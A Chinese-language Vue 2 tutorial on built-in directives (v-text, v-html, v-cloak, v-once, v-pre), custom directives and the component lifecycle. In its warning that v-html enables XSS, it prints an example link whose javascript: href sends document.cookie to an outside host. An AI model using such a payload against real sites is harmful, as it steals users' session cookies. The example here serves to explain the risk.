Vue(三)内置指令v-text、html、cloak、once、pre；自定义指令的三种方式、Vue生命周期
文章目录
- 1. 内置指令
- 1.1 v-text、v-html指令
- 1.2 v-cloak指令
- 1.3 v-once指令
- 1.4 v-pre指令
- 2. 自定义指令(directives)
- 2.1 函数式
- 2.2 对象式
- 2.3 注意点
- 3. 生命周期
- 3.1 挂载流程
- 3.2 更新流程
- 3.3 销毁流程
1. 内置指令
1.1 v-text、v-html指令
v-text与v-html都是向所在的节点渲染文本内容，替换掉节点内的内容。
- v-text：不能解析标签
- v-html：能解析标签
<div id="root">
<!-- v-text会替换掉节点中的内容 -->
<div v-text="msg2">{{msg}}</div>
<!-- 解析标签 -->
<div v-html="msg3"></div>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
msg: '汉堡很好吃',
msg2: '炸鸡很好吃',
msg3: '<strong>炸鸡很好吃</strong>'
}
})
</script>
注：v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，不要用在用户提交的内容上！
比如：
v-html渲染了这样一个a链接：
<div v-html="msg4"></div>
msg4: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接</a>'
当点击链接时，会把自身的cookie传出去，被别人拿到cookie很危险。(只是举个例子，document.cookie并不会将网站上的所有cookie都拿到)
1.2 v-cloak指令
v-cloak指令没有值，当Vue解析页面时，会将v-cloak删掉。
应用场景：解决网速慢时，Vue未接管容器，页面上渲染成：{{name}}。
<style>
[v-clock] {
display: none;
}
</style>
<body>
<!-- 准备一个容器 -->
<div id="root">
<div v-cloak>{{name}}</div>
</div>
</body>
<script>
const vm = new Vue({
...
data: {
name: 'tom'
}
})
</script>
当Vue未接管容器时，div有v-clock属性，style样式通过属性选择器对div进行隐藏，当Vue接管容器后，Vue会将v-clock属性删除，则样式不起作用，该内容呈现在页面上。
总结：
1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
1.3 v-once指令
v-once所在结构的数值不会更新。
<div id="root">
<!-- 初始n设为1 -->
<h1>初始化的n值是{{n}}</h1>
<h1>当前的n值是{{n}}</h1>
<button @click="n++">n+1</button>
</div>
点击按钮，插值处的n都会变：
添加v-once指令后：
<h1 v-once>初始化的n值是{{n}}</h1>
总结：
1.v-once所在节点在初次动态渲染后，就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
1.4 v-pre指令
- 跳过其所在节点的编译过程。
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
<div id="root">
<h1 v-pre>没有任何语法</h1>
<!-- 不进行编译，直接原模原样展现在页面上 -->
<h1 v-pre>有插值{{n}}</h1>
</div>
2. 自定义指令(directives)
2.1 函数式
需求：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍
<!--模板内容-->
<div id="root">
<h2>{{msg}}</h2>
<h2>n的值为:<span v-text="n"></span></h2>
<h2>放大10倍后的值为<span v-big="n+1+2"></span></h2>
<button @click="n++">n+1</button>
</div>
语法：指令名(element,binding){...}
- 参数element：真实DOM元素
- 参数binding：一些绑定信息
//添加一个和data平级的新的配置项directives
directives: {
big (element, binding) {
console.dir(element);
console.log(binding);
element.innerText = binding.value*10
}
}
big函数何时被调用：
- 1.指令与元素成功绑定(一上来的时候)
- 2.指令所在的模板重新被解析的时候,(msg数据改变，模板重新解析，也会调用这个函数)
2.2 对象式
<body>
<button id="btn">点击生成一个输入框</button>
</body>
<script type="text/javascript">
const btn = document.querySelector('#btn')
btn.addEventListener('click', () => {
console.log('点击生成输入框');
const input = document.createElement('input') // 建立节点
input.value = 6 //设置内容值
input.style.backgroundColor = 'skyblue' // 设置背景色
input.className = 'demo' // 设置类名
input.onclick = () => alert(1) // 添加监听事件
console.log(input.parentNode);// null
document.body.appendChild(input) // 放入页面
input.focus() // 获取焦点
})
</script>
有一些对元素的操作，要在元素插入页面之后执行才有效。比如对input的父节点进行操作，若在插入页面之前对其父节点进行操作，则无效。
需求：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点
分析：由于获取焦点focus这个函数需要在元素放入页面后执行，所以函数式自定义指令不可行。
对象式指令语法：指令名：{...}
配置对象中有常用的3个回调函数：bind inserted update
<input type="text" v-fbind:value="n">
<script>
directives: {
fbind: {
// 指令与元素建立连接时(绑定时)
bind (element, binding) {
console.log(binding.value);
element.value = binding.value
},
// 指令所在元素被插入页面时
inserted (element, binding) {
element.focus()
},
// 指令所在的模板被重新解析时
update (element, binding) {
element.value = binding.value
element.focus()
}
}
</script>
Vue首先将input元素与v-find指令绑定在一起，在内存中记录这个关联关系，后边再把input元素放入页面中。所以如果在inserted阶段没有任何操作的话，则可采用函数式自定义指令。
2.3 注意点
(1) 指令命名问题
如果是多个单词，需要使用-连接
<h2>放大10倍后值为:<span v-big-number="n"></span></h2>
<script>
'big-number' (element, binding) {
// binding绑定，将元素与指定绑定在一起，确定该指令在哪个元素上起作用
element.innerText = binding.value
}
</script>
(2) this指向
无论是函数式自定义指令还是对象式自定义指令，this的指向都是Window
big (element, binding) {
console.log(this) // Window
},
fbind: {
bind (element, binding) {
console.log(this); // Window
},
inserted (element, binding) {
console.log(this); // Window
},
update (element, binding) {
console.log(this); // Window
}
}
(3)全局指令
语法：Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)
// 全局指令
Vue.directive('big', (element, binding) => {
...
})
Vue.directive('fbind', {
...
inserted (element, binding) {
element.focus()
},
})
const vm = new Vue({
...
directives: {
// 这里的局部自定义指令只能在当前vm中使用
'big-number' (element, binding) {
...
},
fbind: {
...
}
}
})
3. 生命周期
3.1 挂载流程
针对beforeMount,证明一下两点：
证明1：页面呈现的是未经Vue编译的DOM结构
证明2：所有对DOM的操作，最终都不奏效
无论这里如何修改，接下来都会将刚才已经生成的虚拟DOM转成真实DOM插入页面中。在进入下一个流程mounted之后，对DOM的操作是有效的
3.2 更新流程
beforeUpdate () {
console.log('beforeUpdate,数据是新的，页面是旧的');
console.log('n的新值为：', this.n);
debugger
}
3.3 销毁流程
<button @click="bye">点击销毁vm</button>
<script>
// 按钮事件监听方法
bye () {
console.log('byebye');
// 执行销毁，完全销毁一个实例，解绑vm的全部指令及事件监听(指的是自定义的事件监听方法)
this.$destroy()
}
...
beforeDestroy () {
console.log('销毁之前');
// 能调用方法，修改数据。但是不会再触发更新了
this.add()
}
</script>
n值确实加1了，但是n的值没有更新
总结：
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效，但原生DOM事件依然有效
- 一般不会在beforeDestroy里操作数据，因为即便操作数据，也不会再触发更新流程了。
